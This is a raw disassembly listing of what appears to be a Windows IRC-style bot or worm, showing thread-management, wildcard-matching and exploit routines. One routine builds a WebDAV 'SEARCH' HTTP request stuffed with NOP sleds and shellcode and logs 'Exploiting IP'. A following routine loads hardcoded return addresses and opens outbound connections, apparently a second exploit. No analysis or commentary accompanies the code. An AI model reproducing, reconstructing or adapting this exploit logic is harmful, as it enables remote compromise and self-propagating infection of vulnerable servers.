		mov	eax, [esp+14h+arg_4]
		and	dword_43433C[esi], 0
		and	dword_434340[esi], 0
		mov	dword_434338[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_434350[esi], 0
		mov	dword_434344[esi], eax
		pop	esi


loc_410F51:				; CODE XREF: sub_410EEA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_410EEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F55	proc near		; CODE XREF: sub_4111EB+31p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_434138


loc_410F7F:				; CODE XREF: sub_410F55+78j
		cmp	byte ptr [esi],	0
		jz	short loc_410FC0
		cmp	[ebp+arg_C], 0
		jnz	short loc_410F93
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_410FC0


loc_410F93:				; CODE XREF: sub_410F55+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 24h


loc_410FC0:				; CODE XREF: sub_410F55+2Dj
					; sub_410F55+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_478EC8
		jl	short loc_410F7F
		pop	edi
		pop	esi
		leave
		retn
sub_410F55	endp


; =============== S U B	R O U T	I N E =======================================



sub_410FD3	proc near		; CODE XREF: sub_4078FA+38DCp
					; sub_41105B+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_411055
		cmp	esi, 1F4h
		jge	short loc_411055
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_43434C[esi]
		push	dword ptr [edi]
		call	ds:dword_41F0C8
		cmp	[edi], ebx
		jz	short loc_411005
		inc	ebp


loc_411005:				; CODE XREF: sub_410FD3+2Fj
		mov	[edi], ebx
		lea	edi, dword_434340[esi]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	dword_434338[esi], ebx
		mov	dword_43433C[esi], ebx
		jbe	short loc_411026
		push	eax
		call	sub_4074C6
		pop	ecx


loc_411026:				; CODE XREF: sub_410FD3+4Aj
		mov	[edi], ebx
		lea	edi, dword_434344[esi]
		push	dword ptr [edi]
		mov	byte ptr dword_434138[esi], bl
		mov	byte_434350[esi], bl
		call	dword_4335AC
		lea	esi, dword_434348[esi]
		push	dword ptr [esi]
		mov	[edi], ebx
		call	dword_4335AC
		mov	[esi], ebx
		pop	edi


loc_411055:				; CODE XREF: sub_410FD3+Dj
					; sub_410FD3+15j
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_410FD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41105B	proc near		; CODE XREF: sub_402795+18p
					; sub_4078FA+3895p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_434138


loc_411067:				; CODE XREF: sub_41105B+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_411078
		push	edi
		call	sub_410FD3
		test	eax, eax
		pop	ecx
		jz	short loc_411078
		inc	ebx


loc_411078:				; CODE XREF: sub_41105B+Fj
					; sub_41105B+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_478EC8
		jl	short loc_411067
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_41105B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41108D	proc near		; CODE XREF: sub_411120+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43433C


loc_4110A1:				; CODE XREF: sub_41108D+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4110C3
		test	edi, edi
		jle	short loc_4110B5
		cmp	[esi], edi
		jz	short loc_4110B5
		cmp	ebx, edi
		jnz	short loc_4110C3


loc_4110B5:				; CODE XREF: sub_41108D+1Ej
					; sub_41108D+22j
		push	ebx
		call	sub_410FD3
		test	eax, eax
		pop	ecx
		jz	short loc_4110C3
		inc	[ebp+var_4]


loc_4110C3:				; CODE XREF: sub_41108D+1Aj
					; sub_41108D+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4790CC
		jl	short loc_4110A1
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41108D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110DA	proc near		; CODE XREF: sub_4010CA+Bp
					; sub_401141+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_434338


loc_4110E1:				; CODE XREF: sub_4110DA+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4110EA
		inc	eax


loc_4110EA:				; CODE XREF: sub_4110DA+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4790C8
		jl	short loc_4110E1
		retn
sub_4110DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110F9	proc near		; CODE XREF: sub_4078FA+4139p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_434338
		push	esi


loc_411103:				; CODE XREF: sub_4110F9+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41111C
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4790C8
		jl	short loc_411103
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41111C:				; CODE XREF: sub_4110F9+10j
		mov	eax, edx
		pop	esi
		retn
sub_4110F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411120	proc near		; CODE XREF: sub_4078FA+1EA8p
					; sub_4078FA+4863p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_411139
		push	[ebp+arg_1C]
		call	sub_412F42
		pop	ecx


loc_411139:				; CODE XREF: sub_411120+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_41108D
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_411165
		push	eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_41117F
; ---------------------------------------------------------------------------


loc_411165:				; CODE XREF: sub_411120+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_412BB5
		add	esp, 10h


loc_41117F:				; CODE XREF: sub_411120+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41119F
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_41119F:				; CODE XREF: sub_411120+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		pop	ecx
		leave
		retn
sub_411120	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111AE	proc near		; CODE XREF: sub_40169B+227p
					; sub_4018D1+244p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		imul	eax, 234h
		xor	ecx, ecx
		mov	dword_43434C[eax], ecx
		mov	dword_434338[eax], ecx
		mov	dword_43433C[eax], ecx
		mov	dword_434340[eax], ecx
		mov	dword_434344[eax], ecx
		mov	dword_434348[eax], ecx
		mov	byte ptr dword_434138[eax], cl
		mov	byte_434350[eax], cl
		retn
sub_4111AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4111EB	proc near		; DATA XREF: sub_4078FA+46CCo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		push	[ebp+74h+var_10]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_410F55
		push	[ebp+74h+var_14]
		call	sub_4111AE
		add	esp, 14h
		push	0
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_4111EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411235	proc near		; CODE XREF: sub_40169B+1F8p
					; DATA XREF: .data:off_42A06Co

var_1210	= byte ptr -1210h
var_11AC	= byte ptr -11ACh
var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_98		= byte ptr  0A0h
arg_124		= dword	ptr  12Ch
arg_12C		= dword	ptr  134h
arg_134		= dword	ptr  13Ch
arg_138		= dword	ptr  140h

		push	ebp
		mov	ebp, esp
		mov	eax, 1210h
		call	sub_412DD0
		push	6
		push	1
		push	2
		call	dword_4334A0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41125A
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41125A:				; CODE XREF: sub_411235+1Fj
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_124]
		call	dword_4335EC
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_433514
		push	186A0h
		call	sub_41344D
		mov	edi, 1000h
		push	edi
		mov	ebx, eax
		call	sub_41344D
		pop	ecx
		pop	ecx
		push	offset byte_42AED0
		push	[ebp+arg_0]
		mov	esi, eax
		mov	[ebp+var_C], esi
		call	sub_406C33
		pop	ecx
		push	eax
		push	edi
		push	esi
		call	sub_40F790
		add	esp, 10h
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_4112CF
		push	ebx
		call	sub_412FE4
		push	esi
		call	sub_412FE4
		pop	ecx
		pop	ecx
		push	[ebp+var_10]


loc_4112C2:				; CODE XREF: sub_411235+27Bj
		call	dword_4335AC
		xor	eax, eax
		jmp	loc_41154F
; ---------------------------------------------------------------------------


loc_4112CF:				; CODE XREF: sub_411235+7Aj
		push	19h
		mov	eax, 90909090h
		pop	ecx
		lea	edi, [ebp+var_1210]
		rep stosd
		mov	ecx, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_11AC]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	ecx, 61A8h
		mov	edi, ebx
		rep stosd
		mov	esi, offset aSearch ; "SEARCH /"
		mov	edi, ebx
		movsd
		movsd
		mov	eax, ebx
		movsb
		lea	esi, [eax+1]


loc_411310:				; CODE XREF: sub_411235+E0j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411310
		sub	eax, esi
		mov	esi, eax
		lea	edx, [esi+1]
		lea	eax, [esi+866h]
		cmp	edx, eax
		mov	byte ptr [esi+ebx], 90h
		jnb	short loc_41134E
		sub	eax, edx
		dec	eax
		shr	eax, 1
		inc	eax
		mov	ecx, eax
		mov	[ebp+var_4], ecx
		shr	ecx, 1
		lea	edi, [edx+ebx]
		mov	eax, 0B102B102h
		rep stosd
		adc	ecx, ecx
		rep stosw
		mov	eax, [ebp+var_4]
		lea	edx, [edx+eax*2]


loc_41134E:				; CODE XREF: sub_411235+F5j
		mov	eax, offset loc_42B408
		mov	edi, eax
		lea	ecx, [edi+1]
		mov	[ebp+var_4], ecx


loc_41135B:				; CODE XREF: sub_411235+12Bj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_41135B
		sub	edi, [ebp+var_4]
		jmp	short loc_41137C
; ---------------------------------------------------------------------------


loc_411367:				; CODE XREF: sub_411235+155j
		lea	ecx, [edi+1]
		mov	byte ptr [edx+ebx], 90h
		inc	edx
		mov	[ebp+var_4], ecx


loc_411372:				; CODE XREF: sub_411235+142j
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_411372
		sub	edi, [ebp+var_4]


loc_41137C:				; CODE XREF: sub_411235+130j
		mov	ecx, esi
		sub	ecx, edi
		add	ecx, 0FFFFh
		cmp	edx, ecx
		mov	edi, eax
		jb	short loc_411367
		lea	esi, [edi+1]


loc_41138F:				; CODE XREF: sub_411235+15Fj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_41138F
		sub	edi, esi
		mov	ecx, edi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [edx+ebx]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		dec	edi


loc_4113B0:				; CODE XREF: sub_411235+181j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_4113B0
		mov	esi, offset aHttp1_1 ; " HTTP/1.1\r\n"
		movsd
		movsd
		movsd
		mov	esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
		mov	eax, esi
		lea	edi, [eax+1]


loc_4113CA:				; CODE XREF: sub_411235+19Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4113CA
		sub	eax, edi
		mov	edi, eax
		mov	eax, ebx
		lea	ecx, [eax+1]


loc_4113DA:				; CODE XREF: sub_411235+1AAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4113DA
		sub	eax, ecx
		mov	ecx, [ebp+var_8]
		add	edi, ecx
		push	edi
		lea	ecx, [ebp+arg_4]
		push	ecx
		add	eax, ebx
		push	offset aHostSContentTy ; "Host:	%s\r\nContent-Type: text/xml\r\nConte"...
		push	eax
		call	sub_412BB5
		add	esp, 10h
		mov	eax, esi


loc_4113FF:				; CODE XREF: sub_411235+1CFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4113FF
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_41140B:				; CODE XREF: sub_411235+1DCj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_41140B
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_411426:				; CODE XREF: sub_411235+1F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411426
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 1010101h
		lea	edi, [ecx+ebx]
		stosb
		mov	eax, ebx
		lea	esi, [eax+1]


loc_41143F:				; CODE XREF: sub_411235+20Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41143F
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 90909090h
		lea	edi, [ecx+ebx]
		stosw
		stosb
		mov	eax, ebx
		lea	esi, [eax+1]


loc_41145A:				; CODE XREF: sub_411235+22Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41145A
		mov	ecx, [ebp+var_8]
		sub	eax, esi
		lea	edi, [eax+ebx]
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_1210]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_411482:				; CODE XREF: sub_411235+252j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411482
		sub	eax, esi
		mov	esi, [ebp+var_10]
		xor	edi, edi
		push	edi
		push	eax
		push	ebx
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4114B5
		push	ebx
		call	sub_412FE4
		push	[ebp+var_C]
		call	sub_412FE4
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_4112C2
; ---------------------------------------------------------------------------


loc_4114B5:				; CODE XREF: sub_411235+268j
		push	edi
		push	1388h
		push	ebx
		push	esi
		call	dword_433414
		push	ebx
		call	sub_412FE4
		push	[ebp+var_C]
		call	sub_412FE4
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4335AC
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_12C]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+var_210]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		cmp	[ebp+arg_138], edi
		jnz	short loc_41152E
		push	edi
		push	[ebp+arg_134]
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+arg_98]
		push	eax
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_41152E:				; CODE XREF: sub_411235+2D7j
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+arg_12C]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax


loc_41154F:				; CODE XREF: sub_411235+95j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411554	proc near		; CODE XREF: sub_4115E8+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		push	edi
		xor	edi, edi
		and	[ebp+var_8], edi
		xor	eax, eax
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_411575
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_411575:				; CODE XREF: sub_411554+19j
		push	ebx
		push	esi


loc_411577:				; CODE XREF: sub_411554+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_411585
		cmp	[ebp+var_4], eax
		jnz	short loc_4115CD


loc_411585:				; CODE XREF: sub_411554+2Aj
		test	edi, edi
		jnz	short loc_4115C2
		cmp	bl, 2Dh
		jnz	short loc_4115B6
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_4115B6
		cmp	al, 5Dh
		jz	short loc_4115B6
		cmp	[ebp+var_4], edi
		jnz	short loc_4115B6
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4115C2
		cmp	bl, al
		jg	short loc_4115C2
		mov	[edx], esi
		jmp	short loc_4115BF
; ---------------------------------------------------------------------------


loc_4115B6:				; CODE XREF: sub_411554+38j
					; sub_411554+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4115C2


loc_4115BF:				; CODE XREF: sub_411554+60j
		xor	edi, edi
		inc	edi


loc_4115C2:				; CODE XREF: sub_411554+33j
					; sub_411554+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_411577
; ---------------------------------------------------------------------------


loc_4115CD:				; CODE XREF: sub_411554+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4115DA
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4115DA:				; CODE XREF: sub_411554+7Ej
		cmp	edi, eax
		jnz	short loc_4115E3
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4115E3:				; CODE XREF: sub_411554+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_411554	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115E8	proc near		; CODE XREF: sub_4078FA+57C2p
					; sub_41167C+65p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_41164A
; ---------------------------------------------------------------------------


loc_4115F4:				; CODE XREF: sub_4115E8+66j
		cmp	eax, 1
		jnz	short loc_41165B
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41165B
		cmp	cl, 2Ah
		jz	short loc_411633
		cmp	cl, 3Fh
		jz	short loc_411618
		cmp	cl, 5Bh
		jz	short loc_41161D
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_411618:				; CODE XREF: sub_4115E8+22j
		inc	[ebp+arg_4]
		jmp	short loc_411646
; ---------------------------------------------------------------------------


loc_41161D:				; CODE XREF: sub_4115E8+27j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		inc	esi
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_411554
		mov	esi, [ebp+arg_0]
		jmp	short loc_411644
; ---------------------------------------------------------------------------


loc_411633:				; CODE XREF: sub_4115E8+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41167C
		mov	esi, [ebp+arg_0]
		dec	esi


loc_411644:				; CODE XREF: sub_4115E8+49j
		pop	ecx
		pop	ecx


loc_411646:				; CODE XREF: sub_4115E8+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_41164A:				; CODE XREF: sub_4115E8+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_4115F4
		jmp	short loc_41165B
; ---------------------------------------------------------------------------


loc_411652:				; CODE XREF: sub_4115E8+76j
		cmp	eax, 1
		jnz	short loc_411677
		inc	esi
		mov	[ebp+arg_0], esi


loc_41165B:				; CODE XREF: sub_4115E8+Fj
					; sub_4115E8+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_411652
		cmp	eax, 1
		jnz	short loc_411677
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_411677
		cmp	byte ptr [esi],	0
		jnz	short loc_411677
		xor	eax, eax
		inc	eax
		jmp	short loc_411679
; ---------------------------------------------------------------------------


loc_411677:				; CODE XREF: sub_4115E8+6Dj
					; sub_4115E8+7Bj ...
		xor	eax, eax


loc_411679:				; CODE XREF: sub_4115E8+8Dj
		pop	esi
		pop	ebp
		retn
sub_4115E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41167C	proc near		; CODE XREF: sub_4115E8+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		inc	dword ptr [esi]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		xor	ebx, ebx
		jmp	short loc_4116AB
; ---------------------------------------------------------------------------


loc_411696:				; CODE XREF: sub_41167C+35j
		mov	cl, [eax]
		cmp	cl, 3Fh
		jz	short loc_4116A7
		cmp	cl, 2Ah
		jnz	short loc_4116B3
		cmp	cl, 3Fh
		jnz	short loc_4116A9


loc_4116A7:				; CODE XREF: sub_41167C+1Fj
		inc	dword ptr [edi]


loc_4116A9:				; CODE XREF: sub_41167C+29j
		inc	dword ptr [esi]


loc_4116AB:				; CODE XREF: sub_41167C+18j
		mov	ecx, [edi]
		cmp	[ecx], bl
		mov	eax, [esi]
		jnz	short loc_411696


loc_4116B3:				; CODE XREF: sub_41167C+24j
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_4116C2


loc_4116B8:				; CODE XREF: sub_41167C+44j
		inc	eax
		mov	ecx, eax
		mov	[esi], eax
		cmp	byte ptr [ecx],	2Ah
		jz	short loc_4116B8


loc_4116C2:				; CODE XREF: sub_41167C+3Aj
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_4116DF
		cmp	[eax], bl
		jz	short loc_4116D2
		xor	eax, eax
		jmp	short loc_411744
; ---------------------------------------------------------------------------


loc_4116D2:				; CODE XREF: sub_41167C+50j
		cmp	dl, bl
		jnz	short loc_4116DF
		cmp	[eax], bl
		jnz	short loc_4116DF
		xor	eax, eax
		inc	eax
		jmp	short loc_411744
; ---------------------------------------------------------------------------


loc_4116DF:				; CODE XREF: sub_41167C+4Cj
					; sub_41167C+58j ...
		push	ecx
		push	eax
		call	sub_4115E8
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41172E


loc_4116EC:				; CODE XREF: sub_41167C+B0j
		inc	dword ptr [edi]
		mov	ecx, [esi]
		mov	eax, [edi]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jz	short loc_411710


loc_4116F8:				; CODE XREF: sub_41167C+92j
		mov	ecx, [esi]
		cmp	byte ptr [ecx],	5Bh
		jz	short loc_411710
		cmp	[eax], bl
		jz	short loc_411725
		inc	eax
		mov	[edi], eax
		mov	ecx, [esi]
		mov	cl, [ecx]
		mov	edx, eax
		cmp	cl, [edx]
		jnz	short loc_4116F8


loc_411710:				; CODE XREF: sub_41167C+7Aj
					; sub_41167C+81j
		cmp	[eax], bl
		jz	short loc_411725
		push	eax
		push	dword ptr [esi]
		call	sub_4115E8
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41172A
; ---------------------------------------------------------------------------


loc_411725:				; CODE XREF: sub_41167C+85j
					; sub_41167C+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_41172A:				; CODE XREF: sub_41167C+A7j
		cmp	eax, ebx
		jnz	short loc_4116EC


loc_41172E:				; CODE XREF: sub_41167C+6Ej
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_411741
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_411741
		mov	[ebp+var_4], 1


loc_411741:				; CODE XREF: sub_41167C+B6j
					; sub_41167C+BCj
		mov	eax, [ebp+var_4]


loc_411744:				; CODE XREF: sub_41167C+54j
					; sub_41167C+61j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41167C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		and	dword ptr [ebp-10h], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_427540
		lea	edi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		push	15Bh
		movsw
		mov	dword ptr [ebp-44h], 6741A1CDh
		mov	dword ptr [ebp-40h], 6741A199h
		mov	dword ptr [ebp-3Ch], 6741A426h
		mov	dword ptr [ebp-38h], 67419E1Dh
		mov	dword ptr [ebp-34h], 67419CE8h
		mov	dword ptr [ebp-30h], 0FFB7DE9h
		mov	dword ptr [ebp-2Ch], 0FFB832Fh
		call	sub_41344D
		pop	ecx
		mov	edi, eax
		mov	[ebp-4], edi
		push	56h
		xor	eax, eax
		pop	ecx
		rep stosd
		stosw
		stosb
		mov	ecx, [ebp-4]
		mov	edi, ecx
		lea	esi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		add	ecx, 11h
		movsw
		mov	edi, ecx
		mov	[ebp-28h], ecx
		dec	edi


loc_4117C9:				; CODE XREF: .text:004117CFj
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_4117C9
		mov	esi, offset loc_42753C
		movsw
		movsb
		mov	edi, ecx
		dec	edi


loc_4117DC:				; CODE XREF: .text:004117E2j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_4117DC
		mov	esi, offset aNilsisgay ; "NILSISGAY!!"
		movsd
		push	6
		movsd
		push	1
		push	2
		movsd
		call	dword_4334A0
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_411A26
		and	dword ptr [ebp-8], 0
		lea	esi, [ebp-44h]
		mov	[ebp-0Ch], esi


loc_41180D:				; CODE XREF: .text:004119B1j
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_433514
		push	dword ptr [ebp+12Ch]
		mov	[ebp-20h], eax
		call	dword_4335EC
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jz	loc_41199D
		mov	edi, [ebp-28h]
		not	dword ptr [esi]
